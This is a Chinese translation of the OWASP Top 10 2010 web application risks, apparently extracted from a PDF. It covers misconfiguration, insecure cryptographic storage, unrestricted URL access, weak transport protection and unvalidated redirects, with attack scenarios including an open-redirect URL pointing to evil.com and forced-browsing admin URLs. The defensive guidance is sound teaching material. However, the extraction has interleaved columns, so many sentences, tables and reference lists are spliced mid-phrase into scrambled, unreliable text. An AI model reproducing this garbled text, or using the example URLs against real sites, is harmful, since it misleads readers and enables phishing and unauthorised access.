实施漏洞扫描和经常进行审计以帮助检测将来可能 的错误配置或没有安装的补丁。 开发和维护一个恰当的应用程序安全配置需要一个协定 的、可重复的过程。 攻击案例 参考资料 案例 #1: 你的应用程序依赖于强大的框架，比如 Struts OWASP 或者 Spring 。在这些你所依赖的框架部分中，发现了 XSS • 漏洞。一个发布的安全更新可以修复这些漏洞，但是你没 OWASP Development Guide: Chapter on Configuration 有更新你的库文件。在你更新这些库文件以前，攻击者可 以很容易的找到并攻破这些应用程序的漏洞。 • OWASP Code Review Guide: Chapter on Error Handlin 案例 #2: 应用程序服务器管理员控制台自动安装后没有 g 被删除。而默认帐户也没有被改变。攻击者在你的服务器 上发现了标准的管理员页面，通过默认密码登录，从而接 • OWASP Testing Guide: Configuration Management 管了你的服务器。 • OWASP Testing Guide: Testing for Error Codes 案例 #3: 目录列表在你的服务器上未被禁用。攻击者发 • 现只需列出目录，她就可以找到你服务器上的任意文件。 OWASP Top 10 2004 - Insecure Configuration Manag 攻击者找到并下载所有已编译的 Java 类，他通过反编译 ement 获得了所有你的自定义代码。然后，他在你的应用程序中 为了更详尽的了解该领域的需求信息，请参见 

13 .A7 不安全的加密存储 攻击向量 业务影响 安全漏洞 技术影响 威胁代理 可利用性 普遍性 可检测性 影响 __________ __________ 难 少见 难 严重 考虑你系统的用户。攻击者通常不会攻 在这个领域最常见的漏洞是应该加密的 这个领域的错误频 考虑丢失数据和声 他们是否想访问无 击加密系统。他们 数据不进行加密。在使用加密的情况下 繁影响那些本应该 誉影响造成的商业 权访问的受保护数 攻击其他的东西， ，常见的问题是不安全的密钥生成和储 加密的数据。这些 损失。如果这些数 据？那内部管理员 如获得密匙、拿到 存、不轮换密钥，和使用弱算法。使用 信息通常包括很多 据被泄露，那你要 呢？ 数据明文、或者通 弱的或者不带 salt 的哈希算法来保护 敏感数据，比如医 承担的法律责任是 过自动解密的渠道 密码也很普遍。外部攻击者因访问的局 疗记录，认证凭证 什么？另外考虑到 访问数据。 限性很难探测这种漏洞。他们通常必须 ，个人隐私数据， 对企业造成的声誉 首先破解其他东西以获得需要的访问。 信用卡信息，等等 影响。 。 我易受攻击吗？ 我如何防止？ 首先你需要确认的是哪些数据是敏感数据而需要被加密。 不安全加密的风险远远超出了 TOP 10 的范围。尽管如 例如：密码、信用卡、医疗记录、个人信息应该被加密。 此，对一些需要加密的敏感数据，应该起码做到以下几 对于这些数据，要确保： 点： 1. 当这些数据被长期存储的时候，无论存储在哪里，它 1. 预测一些威胁（比如内部攻击和外部用户），加密这 们都需要被加密，特别是对这些数据的备份。 些数据的存储以确保免受这些威胁。 2. 只有被授权的用户才可以访问这些解密的数据（即访 2. 确保异地备份的数据被加密，但用于加密的密钥要和 问控制，见 A4 和 A8 ） 数据分开管理和备份。 3. 使用一个强大的标准加密算法。 3. 确保使用了合适的强大的标准算法和强大的密匙，并 4. 生成一个强大的密匙，保护密钥不被未经授权的访 且密匙管理到位。 问，并设定密钥改变的计划。 4. 确保使用强大的标准哈希算法和合理的 salt 来保护 还有更多 ··· 关于在这一领域应该避免的更多问题请参见 密码。 ASVS requirements on Cryptography (V7) 5. 确保所有密匙和密码都是被保护的 , 不被未经授权的 访问。 攻击案例 参考资料 案例 #1: 一个应用程序加密存储在数据库的信用卡信 OWASP 息，以防止信用卡信息暴露给最终用户。但是，数据库设 为了更详尽的了解该领域的相关需求和因避免的相关问 置为对信用卡表列的查询进行自动解密，这就使得 SQL 注 题，请参见 ASVS requirements on Cryptography (V7). 入漏洞能够获得所有信用卡信息的明文。该系统应该被设 置为只允许后端应用程序解密信用卡信息，而不是前端网 • 络应用程序。 OWASP Top 10-2007 on Insecure Cryptographic Stor age 案例 #2: 一个备份磁盘里包含加密的医疗记录，但是用 于加密的密钥存储在同一个备份里。而磁带在到达备份中 • ESAPI Encryptor API 心的途中遗失。 • 案例 #3: 密码数据库使用不带 salt 的哈希算法去存储每 OWASP Development Guide: Chapter on Cryptography 个人的密码。一个文件上传漏洞使黑客能够获取密码文 • OWASP Code Review Guide: Chapter on Cryptography 件。所有这些没有使用 salt 来哈希的密码通过暴力破解方 其他 式能够在四周内被破解，而使用了恰当的 salt 来哈希的密 • CWE Entry 310 on Cryptographic Issues 

14 .A8 没有限制 URL 访问 攻击向量 业务影响 安全漏洞 技术影响 威胁代理 可利用性 普遍性 可检测性 影响 __________ __________ 易 少见 平均 中等 任何人具有网络访 攻击者是被授权的 应用程序并不总是能正确地保护页面请 这种漏洞允许攻击 考虑被暴露的功能 问权限的人都可以 系统用户，很容易 求。有时 URL 保护是通过配置来管理的 者访问未经授权的 及其处理的数据的 向你的应用程序发 就把网址更改成享 功能。管理性的功 商业价值。 送一个请求。匿名 有特权的网页。这 ，而系统的配置是错误的。有时开发人 能是这类攻击的主 另外考虑如果这样 用户可以访问私人 样的访问会被允许 员必须要做恰当的代码检查，而他们忘 要目标。 的弱点被公布于众 网页吗？又或者普 吗？匿名用户可以 记了。 而对你造成的名誉 通用户可以访问享 访问未受保护的私 检测这些漏洞是很容易的。最难的是确 影响。 有特权的网页吗？ 人网页。 定应用程序存在哪些可被攻击的网页或 者链接 (URL) 。 我易受攻击吗？ 我如何防止？ 确定应用程序有没有恰当限制 URL 访问的最好办法 阻止未经授权的 URL 访问，需要选择一个方式来保 是验证每一个页面。仔细考虑每个页面，这个页面是否应 证每个页面都需要适当的身份验证和适当的授权。通常， 该是公开的还是私有的？如果是私有网页： 这种保护机制是由应用程序代码之外的一个或多个外部组 件提供的。无论何种机制，都建议： 1. 要访问该网页是否需要身份验证？ 1. 认证和授权政策应该基于角色，使维持这些策略的耗 2. 该网页是否应该被任何通过身份验证的用户访问？如 费最小化。 果不是，是否有一项授权检查来确保用户有权限访问 该网页呢？ 2. 政策应该是高度可配置的，以尽量减少硬编码的政策 问题。 外部安全机制经常提供页面访问的身份验证和权限检查。 3. 执行机制在缺省情况下，应该拒绝所有访问。对于每 验证这些安全机制对每个页面的配置都是正确的。如果使 个页面的访问，需要明确授予特定的用户和角色访问 用了代码级的保护，验证每一个需要保护的网页都具有代 权限。 码级的保护。渗透测试也可以验证应用程序是否存在适当 的保护措施。 4. 如果页面参与了工作流程，检查并确保当前的条件是 授权访问此页面的合适状态。 攻击案例 参考资料 攻击者只需简单地迫使浏览器连接到目标网址。例如下 OWASP 面的两个网址都需要身份验证。访 • 问“ admin_getappInfo” 页面同时还需要管理员权限。 OWASP Top 10-2007 on Failure to Restrict URL Acce http://example.com/app/getappInfo ss http://example.com/app/admin_getappInfo • ESAPI Access Control API 如果攻击者没有通过身份认证，却能访问上述任一页 • 面，那么表示未授权的访问被允许。如果通过验证的非管 OWASP Development Guide: Chapter on Authorization 理员用户也能允许访问“ admin_getappInfo” 页面，那么这 • OWASP Testing Guide: Testing for Path Traversal 是个漏洞。这个漏洞可能会将攻击者引向更多保护不当的 管理页面。 • OWASP Article on Forced Browsing 当应用程序只是简单的对未授权用户不显示链接和按钮， 为了更详尽的了解访问控制的需求，请参见 却没有合理保护他们请求的页面时，通常就会造成造成这 ASVS requirements area for Access Control (V4). 种漏洞。 

15 .A9 传输层保护不足 攻击 安全 技术 业务 向量 漏洞 影响 影响 威胁代理 可利用性 普遍性 可检测性 影响 __________ __________ 难 常见 易 中等 考虑可以监控用户 监视用户网络数据 应用程序经常不提供保护网络数据流的 这种漏洞暴露每个 就数据的保密性和 的网络数据流的任 流有时候很困难 , 措施。它们可能在身份验证过程中使用 用户的数据，并可 完整性需求，和需 何人。如果是一个 但是有时也是容易 SSL / TLS ，但是在其他地方则没有使 以导致帐号的盗用。 要身份认证的双方 互联网中的应用程 的。主要的困难在 用，因此暴露传输数据和会话 ID ，被 如果管理员帐户被 参与者而言，考虑 序，谁知道你的用 于当用户访问有漏 攻击者截听。它们有时还会使用过期或 攻破，整个网站可 在通信信道中被暴 户是如何访问它的 洞的网站时监测恰 者配置不正确的证书。 能会被暴露。简单 露数据的商业价值 ？不要忘记后端连 当的网络数据流。 检测基本的漏洞很容易。只需要观测网 的 SSL 设置甚至可 。 接。 站的网络数据流。更加细微的漏洞需要 协助网络钓鱼攻击 检测应用程序的设计和服务器配置。 和中间人攻击。 我易受攻击吗 ? 我如何防止 ? 检测应用程序是否有充足的传输层保护的最好方法就是去 提供恰当的传输层保护会影响网站的设计。最简单的方法 验证 : 是要求 SSL 用于整个网站。由于性能原因，一些网站仅在 1. SSL 被用于保护所有与身份认证有关的数据流。 私有页面中使用 SSL 。而其他一些网站仅在“关键”的网页 中使用 SSL ，但这样就可能暴露会话 ID 和其他敏感数 2. SSL 被用于保护所有私有网页和服务的所有资源。这 据。因此，至少要做到如下几点： 样做可以保护所有交换的数据和会话令牌。在一个网 页上应该避免使用混合的 SSL ，因为它会导致浏览器 1. 要求所有敏感网页都使用 SSL 。对这些网页的非 SSL 产生用户警告，并可能会暴露用户的会话 ID 。 请求应被重定向到相应的 SSL 网页。 3. 只支持强大的算法。 2. 对所有敏感的 Cookie 都设置“安全” (“secure”) 标志。 4. 所有的会话 cookie 都设置“安全” (“secure”) 标志， 3. 配置你的 SSL 的供应端只支持强大的（比如符合 FIPS 这样使浏览器绝不会以明文方式传输这些会话 140-2 标准）算法。 cookie 。 4. 确保你的证书是有效的，没有过期，没有被废除，并 5. 服务器证书对于该服务器是合法的并恰当配置的。 匹配网站使用的所有域。 这包括是由授权发行人发行、没有过期、没有被废 5. 后端和其他连接也应该使用 SSL 或其他加密技术。 除，以及匹配网站使用的所有域。 攻击案例 参考资料 案例 #1: 一个网站上所有需要身份验证的网页都没有使 OWASP 用 SSL 。攻击者只需监控网络数据流（比如一个开放的无 为了更详尽的了解该领域的需求和应该避免的问题，请参 线网络或其社区的有线网络），并观察一个已验证的受害 见 者的会话 cookie 。然后，攻击者利用这个 cookie 执行重 ASVS requirements on Communications Security (V10). 放攻击并接管用户的会话。 • OWASP Transport Layer Protection Cheat Sheet 案例 #2: 网站有不正确配置的 SSL 证书从而导致其用户 使用浏览器时产生警告。用户必须接受这样的警告以便继 • OWASP Top 10-2007 on Insecure Communications 续使用该网站。这将导致用户对这种警告习以为常。针对 • 网站客户的钓鱼攻击会引诱用户到一个没有有效证书的类 OWASP Development Guide: Chapter on Cryptography 似的网站，这样就会产生相似的警告。由于受害者已习惯 • OWASP Testing Guide: Chapter on SSL/TLS Testing 了这样的警告，他们继续登陆和使用这个钓鱼网站，将密 码或其他私人数据泄露出去。 其他 案例 #3: 一个网站简单地使用标准的 ODBC/JDBC 进行 • CWE Entry 319 on Cleartext 

16 .A1 未验证的重定向和转发 0 威胁代理 __________ 攻击向量 可利用性 普遍性 安全漏洞 可检测性 技术影响 影响 业务影响 __________ 平均 少见 易 中等 考虑所有能诱使你 攻击者链接到未验 应用程序经常将用户重定向到其他网页 这种重定向可能试 考虑到维护用户信 的用户向你的网站 证的重定向并诱使 ，或以类似的方式进行内部转发。有时 图安装恶意软件或 任的商业价值。 递交请求的人。你 受害者去点击。由 ，目标网页是通过一个未经验证的参数 者诱使受害者泄露 如果用户被恶意软 的用户使用的任何 于是链接到有效的 来指定的，这就允许攻击者选择目标页 密码或其他敏感信 件占领了怎么办？ 网站或其他 HTML 网站，受害者很有 面。 息。不安全的转发 如果攻击者能够访 源 (feed) 都可以这 可能去点击。攻击 检测未经验证的重定向很容易，只需寻 可能允许绕过访问 问只限于内部使用 样做。 者利用不安全的转 找那些允许你指定整个 URL 的重定向。 的功能怎么办？ 发绕过安全检测。 但检测未经验证的转发困难些，因为它 控制。 们的目标是内部网页。 我易受攻击吗？ 我如何防止？ 验证应用程序是否有未验证的重定向或转发的最好的方法 重定向和转发的安全使用可以有多种方式完成： 是： 1. 避免使用重定向和转发。 1. 审查所有使用重定向或转发（在 .NET 中称为转移）的 2. 如果使用了重定向和转发，则不要在计算目标时涉及 代码。每一次使用，都应该验证目标 URL 是否被包含 到用户参数。这通常容易做到。 在任何参数值中。如果是，确认该参数被验证，以确 3. 如果使用目标参数无法避免 , 应确保其所提供的值对 保该参数只包含允许的目的地，或目的地的元素。 于当前用户是有效的 , 并已经授权。 2. 此外，抓取网站内容查看是否能产生重定向（ HTTP 建议把这种目标的参数做成一个映射值，而不是真的 响应代码从 300 到 307 ，通常是 302 ）。检查重定 URL 或其中的一部分，然后由服务器端代码将映射值 向之前提供的参数是否是目标 URL 或其一部分。如果 转换成目标 URL 。 是的话，更改 URL 的目的地，并观察网站是否重定向 到新的目标。 应用程序可以使用 ESAPI 重写 sendRedirect() 方法来 确保所有重定向的目的地是安全的。 3. 如果没有代码，检查所有的参数以辨别它们是否看起 来像一个重定向或转发目的地网址的一部分，对那些 避免这种漏洞是非常重要的，因为钓鱼软件为了获取用 看起来像的参数进行测试。 户信任，往往最喜欢攻击这种漏洞。 攻击案例 参考资料 案例 #1: 应用程序有一个名为“ redirect.jsp” 的页面，该 OWASP 页面有一个参数名是“ url” 。攻击者精心制作一个恶意 • OWASP Article on Open Redirects URL 将用户重定向到一个恶意网站，执行钓鱼攻击并安装 恶意程序。 • ESAPI SecurityWrapperResponse sendRedirect () method http://www.example.com/redirect.jsp?url=evil.com 案例 #2: 应用程序使用转发在网站的不同部分之间发送 请求。为了帮助实现这一功能，如果一个交易成功了的 其他 话，一些网页就会发送一个参数给用户，用于指定用户的 • CWE Entry 601 on Open Redirects 下一个页面。在这种情况下 , 攻击者制作一个 URL, 用于 绕过应用程序的访问控制检查 , 并将他转发给一个他通常 • WASC Article on URL Redirector Abuse 不能访问的管理功能能。 • Google blog article on the dangers of open redirects http://www.example.com/boring.jsp?fwd=admin.jsp 

17 .纸质文档。 （发布质量、 Beta 版和 Alpha 版）。大多数 OWAPS 资源都可以在我们的 wiki上查看到，同时可以订购许多 OWASP 还有许多其他的 OWASP 资源可供使用。 OWASP项目网页列明了所有的 OWASP 项目，并根据发布的版本情况进行编排 • OWASP教育项目为培训开发人员的 web 应用程序安全知识提供了培训材料，并编制了大量 安全教育 OWASP教育演示材料。如果需要实际操作了解漏洞，可以使用 OWASP WebGoat。如果要学习 应用程序 最新资料，请参加 OWASP AppSec Conference, OWASP 会议培训以及本地的 OWASP分会会议 。 开发周期 • 为了改进企业遵循的应用程序开发流程， OWASP 推荐使用 OWASP软件保证成熟模型（SAMM ）。该模型能帮助企业组织制定并实施根据企业面临的特定风险而定制的软件安全战略。 安全的 • 建立强大并有用的安全控制极度困难。给开发人员提供一套标准的安全控制会极大简化应用程 安全控制 序的安全开发过程。 OWASP 推荐 OWASP企业安全API（ESAPI）项目作为安全 API 的模型，用 于创建安全的 web 应用程序。 ESAPI 提供多种语言的参考实现，包括 Java， .NET， PHP， 标准的 Classic ASP， Python和 Cold Fusion。 • 与其改造应用程序的安全，不如在应用程序开发的初始阶段进行安全设计，更能节约成 安全架构 本。 OWASP 推荐 OWASP开发者指南，这是一个很好的起点，用于指导如何在应用程序开发的 应用程序 初始阶段进行安全设计。 • 为了创建一个安全的 web 应用程序，你必须定义安全对该应用程序的意义。 OWASP 建议你使 安全需求 用 OWASP应用程序安全验证标准（ASVS），作为指导，帮助你设置你的应用程序的安全需 应用程序 求。如果你的应用程序是外包的，你需要考虑使用 OWASP安全软件合同附件。 应用程序的一些资源。在下一页中，我们将展示其他可以帮助企业组织验证 web 应用程序安全性的 OWASP 资源。 可以使用这些资源来解决你企业组织的应用程序安全问题。以下内容是 OWASP 提供的为帮助企业组织创建安全的 web 为了帮助企业组织和开发人员以最低成本降低应用程序的安全风险， OWASP 制作了许多免费和开源 的资源。 你 你可以使用许多免费并且开源的 OWASP 资源 用程序的任务都可能很困难。如果你需要管理一个大型的应用程序组合，那任务将是十分艰巨的。 无论你是刚接触 web 应用程序安全还是已经非常熟悉各种风险，创建一个安全的 web 应用程序或修复一个已存在的应 建立和使用一组完善的常用安全控制机制 开发人员下一步是什么？ +D 

18 .+V 验证人员下一步是什么？ 组织起来 为了验证你所开发或打算购买的 web 应用程序的安全性， OWASP 建议你（如果可能的话）对应用程序进行代码 审查，并测试该应用程序。同时， OWASP 还建议尽可能使用安全代码审查和应用程序渗透测试相结合的方法。因为这两 种技术是相辅相成的，这样才能结合两种技术的优势。而使用工具协助验证过程能提高专业分析的效率和有效 性。 OWASP 的评估工具致力于帮助专业人员更有效地工作，而不是试图将分析过程本身自动化。 将验证 web 应用程序安全性的方法标准化：为了帮助企业组织建立一个具有一致性和特定严格等级的过程，用于评估 web 应用程序安全， OWASP 创建了 OWASP应用程序安全验证标准(ASVS)。该文档为执行 web 应用程序安全评估定义了 最低的验证标准。 OWASP 建议你在验证 web 应用程序的安全时使用 ASVS 作为指导，了解如何执行安全验证，哪些技术 最适合使用，并利用它定义并选择严格的等级。 OWASP 也建议你使用使用 ASVS 作为指导，来帮助你定义和选择从第三 方提供商处购买的 web 应用程序评估服务。 评估工具套件： OWASP Live CD项目将许多最好的开源安全工具融合到一个单一的可启动的环境中。 Web 开发人员、测 试人员和安全专家能直接启动该 Live CD 并能马上使用到一个完整的安全测试套件。不需要安装或配置即可使用该 CD 中所提供的工具。 代码审查 安全和渗透测试 审查代码是验证一个应用程序是否安全的最强大的方法。 测试应用程序： OWASP 制作了测试指南用于帮助开发人 测试仅能证明一个应用程序是不安全的。 员、测试人员和应用程序安全专家了解如何有效并快速地 测试 web 应用程序的安全性。这个庞大的指南是许多人不 审查代码：和 OWASP开发指南和 OWASP测试指南一起， 懈努力的成果。该指南广泛的覆盖了 web 应用程序安全测 OWASP 还制作了 OWASP代码审查指南，用于帮助开发人 试的许多方面。就像代码审查具有它的优点一样，安全测 员和应用程序安全专家了解如何快速有效地通过代码审查 试也有自己的优点。如果你能通过展示一个可实现的攻击 来检测 web 应用程序的安全性。很多 web 应用程序的安全 来证明应用程序是不安全的，那么将非常具有说服力。而 问题通过代码审查比外部测试更容易被发现，例如：注入 且许多安全问题是无法通过代码审查找到的，尤其是所有 漏洞。 应用程序架构提供的安全性能，因为应用程序本身没有提 供这些安全性能。 代码审查工具： OWASP 已经制作了一些很有前景的工具 应用程序渗透测试工具： WebScarab是 OWASP 项目中最 帮助专业人员执行代码分析，但这些工具仍然处在不成熟 的阶段。这些工具的开发者每天使用这些工具实行安全代 为广泛使用的一个工具，它是一个 web 应用程序的测试代 码审查，但是非专业人员可能会觉得这些工具很难使用。 理。 WebScarab 允许安全分析人员拦截 web 应用程序的 这些代码审核工具包括 CodeCrawler， Orizon和 O2。 请求，从而使安全分析人员能够了解该应用程序是如何工 作的，进而允许安全分析人员提交测试请求用于检测应用 程序是否对该请求进行安全响应。这个工具在协助分析人 员确认 XSS 漏洞、身份认证漏洞和访问控制漏洞时特别有 效。 

19 . • 通过度量进行管理。根据对获取的度量和分析数据决定改进和投资的方向。这些度量包括：遵 见度 循安全实践 / 活动，引入的漏洞，修复的漏洞，应用程序覆盖的范围等等。 管理层的可 • 对实现和核查活动进行数据分析，寻找根本原因和漏洞模式，以推动整个企业的战略和系统改 提高安全在 进。 现有流程 • 定义并集成安全实施和核查活动到现有的开发与操作流程之中。这些活动包括了威胁建模，安 全设计和审查，安全编码和审查，渗透测试，修复等等。 整合入 • 为开发和项目团队提供主题专家和支持服务，以保证他们的工作顺利进行。 将安全 • 建立一组集中关注的政策和标准，用于提供所有开发团队所遵循的一个应用程序安全底线。 • 定义一组通用的可重复使用的安全控制，用于补充这些政策和标准，并提供使用它们的设计和 强大的基础 开发指南。 建立 • 建立一个应用程序安全培训课程，此课程应该要求所有的开发人员参加，并且针对不同的开发 责任和话题进行修改。 • 从固有风险的角度来确定并对你的应用程序组合进行优先排序。 • 建立一个应用程序的风险特征分析模型来衡量和优先考虑你的应用程序组合。建立保证准则， 组合方法 合理定义需要的覆盖范围和严格水平。 基于风险的 • 建立一个通用的风险等级模型，该模型应该包含一组一致的可能性和影响因素，来反应你的企 业组织的风险承受能力。 • 建立一个应用程序安全计划并被采纳。 • 进行能力差距分析以比较你的组织和你的同行，从而定义关键有待改善的领域和一个执行计 开始阶段 划。 • 得到管理层的批准，并建立一个针对企业的整个 IT 组织的应用程序安全宣传活动。 的一些关键活动包括： 中在能以最低成本有效减少风险的实际活动和成果上，以提高整个企业组织的安全性。一个有效的应用程序安全计划中 它要求提供安全的可见度，让所有不同角色的人都可以看到并理解企业组织的应用程序的安全态势。它还要求将重点集 用程序的安全性，需要不同企业组织中的多个部门之间协同工作，这包括了安全和审计、软件开发、和商业与执行管理。 洞。 OWASP 推荐这些企业组织建立一个应用程序安全计划，深入了解并改善它们的应用程序组合的安全性。为了获得应 用程序的安全。由于已经在生产环境中的应用程序和代码行数量惊人，许多企业组织都得努力处理数量巨大的漏 应用程序安全已经不再是一个选择了。在日益增长的攻击和监管的压力下，企业组织必须建立一个有效的能力去确保应 现在就启动你的应用程序安全计划 企业组织的下一步是什么？ +O 

20 .+R 关于风险的备注说明 这里讲述的是风险，而不是漏洞 虽然之前的OWASP Top 10版本专注于查找最常见的漏洞，但是这些文档仍然一直围绕着风险而组织。这使得一些 试图寻找一个严格的漏洞分类结构的人产生了一些可以理解的疑惑。本次更新通过明确描述威胁代理、攻击向量、漏洞 、技术风险，和业务风险这些因素如何结合在一起产生风险，更新清晰的表明了风险为主的分类方式。 为做到这一点，我们为 Top 10 制定了一个风险评级方法，这一方法是基于 OWASP风险评级方法。对于 Top 10 中每一项，我们通过查看每个常见漏洞一般情况下的可能性因素和影响因素，评估了每个漏洞对于典型的 Web 应用程序 造成的典型风险，然后根据漏洞给应用程序带来的风险程度的不同来对 Top 10 进行分级。 OWASP风险评级方法定义了许多用于计算漏洞风险等级的因素。但是， Top 10 应该讨论普遍性，而不是在真实的 应用程序中讨论具体的漏洞的风险。因此，我们无法像系统拥有者那样精确计算应用程序中的风险高低。我们也不知道 你的应用程序和数据有多重要、你的威胁代理是什么、或是你的系统是如何架构和如何操作的。 对于每一个漏洞，我们的方法包含三种可能性因素（普遍性、可检测性和可利用性）和一个影响因素（技术影 响）。漏洞的普遍性我们通常无需计算。许多不同的组织一直在提供普遍性的数据给我们。我们取了这些数据的平均数 得到了根据普遍性排序的 10 种最可能存在的漏洞。然后将这些数据和其他两个可能性因素结合（可检测性和可利用性） ，用于计算每个漏洞的可能性等级。然后用每个漏洞的可能性等级乘以我们估计的每个漏洞的平均技术影响，从而得到 了 Top 10 列表中每一项的总的风险等级。 值得注意的是这个方法既没有考虑威胁代理的可能性，也没有考虑任何与你的特定应用程序相关的技术细节。这 些因素都可以极大影响攻击者发现和利用某个漏洞的整个可能性。这个等级同样没有将对你的业务的实际影响考虑进去。 你的企业组织需要自己确定企业组织可以承受的应用安全风险有多大。 OWASP Top 10 的目的并不是替你做这一风险分 析。 下面举例说明 A2: 跨站脚本的风险计算方法。注意到 XSS 的风险非常普遍，以致于它被唯一赋予了“非常广泛”的 普遍性值。其他所有风险值的范围从广泛到少见（值从 1 到 3 ）。 攻击 安全 技术 业务 媒介 漏洞 影响 影响 威胁代理 可利用性 普遍性 可检测性 影响 __________ __________ 平均 非常广泛 易 中等 2 0 1 2 2 

21 . +F 关于风险因素的详细说明 Top 10 风险因素总结 下面的表格总结了 2010 年版本 Top 10 应用程序安全风险因素，以及我们赋予每个风险因素的风险值。这些因素基于 OWASP 团队拥有的统计数据和经验而决定。为了了解某个特定的应用程序或者企业组织的风险，你必须考虑你自己的威 胁代理和业务影响。如果没有相应位置上的威胁代理去执行必要的攻击，或者产生的业务影响微不足道，那么就是再臭 名昭著的软件漏洞也不会导致一个严重的安全风险。 风险 攻击 安全 业务 技术影响 影响 向量 漏洞 A1- 注入 威胁代理 易 常见 平均 严重 可利用性 普遍性 可检测性 影响 A2- 跨站脚本 平均 非常广泛 易 中等 (XSS) A3- 失效的身份 认证和会话管 平均 常见 平均 严重 理 A4- 不安全的 易 常见 易 中等 直接对象引用 A5- 跨站请求伪 平均 常见 易 中等 造 (CSRF) A6- 安全配置错 易 常见 易 中等 误 A7- 不安全的加 难 少见 难 严重 密存储 A8- 没有限制的 易 少见 平均 中等 URL 访问 A9- 传输层保护 难 常见 易 中等 不足 额外需要考虑的风险 A10- 未验证的 平均 少见 易 中等 重定向和转发 虽然 Top 10 的内容覆盖广泛，但是在你的企业组织中还有其他的风险需要你考虑并且评估。有的风险出现在了 OWASP Top 10 的以前版本中，而有的则没有，这包括在不停被发现的新的攻击技术。其他你需要考虑的重要应用程序安全风险 包括以下方面（根据相应英文名字首字母的顺序排序）： • Clickjacking ( 于 2008 年发现的新攻击技术 ) •并发漏洞 •拒绝服务 (2004 年版 Top 10 的 A9 部分 ) •信息泄漏和不恰当的错误处理(2007 年版 Top 10 的 A6 部分 ) •抗自动化不足 

22 .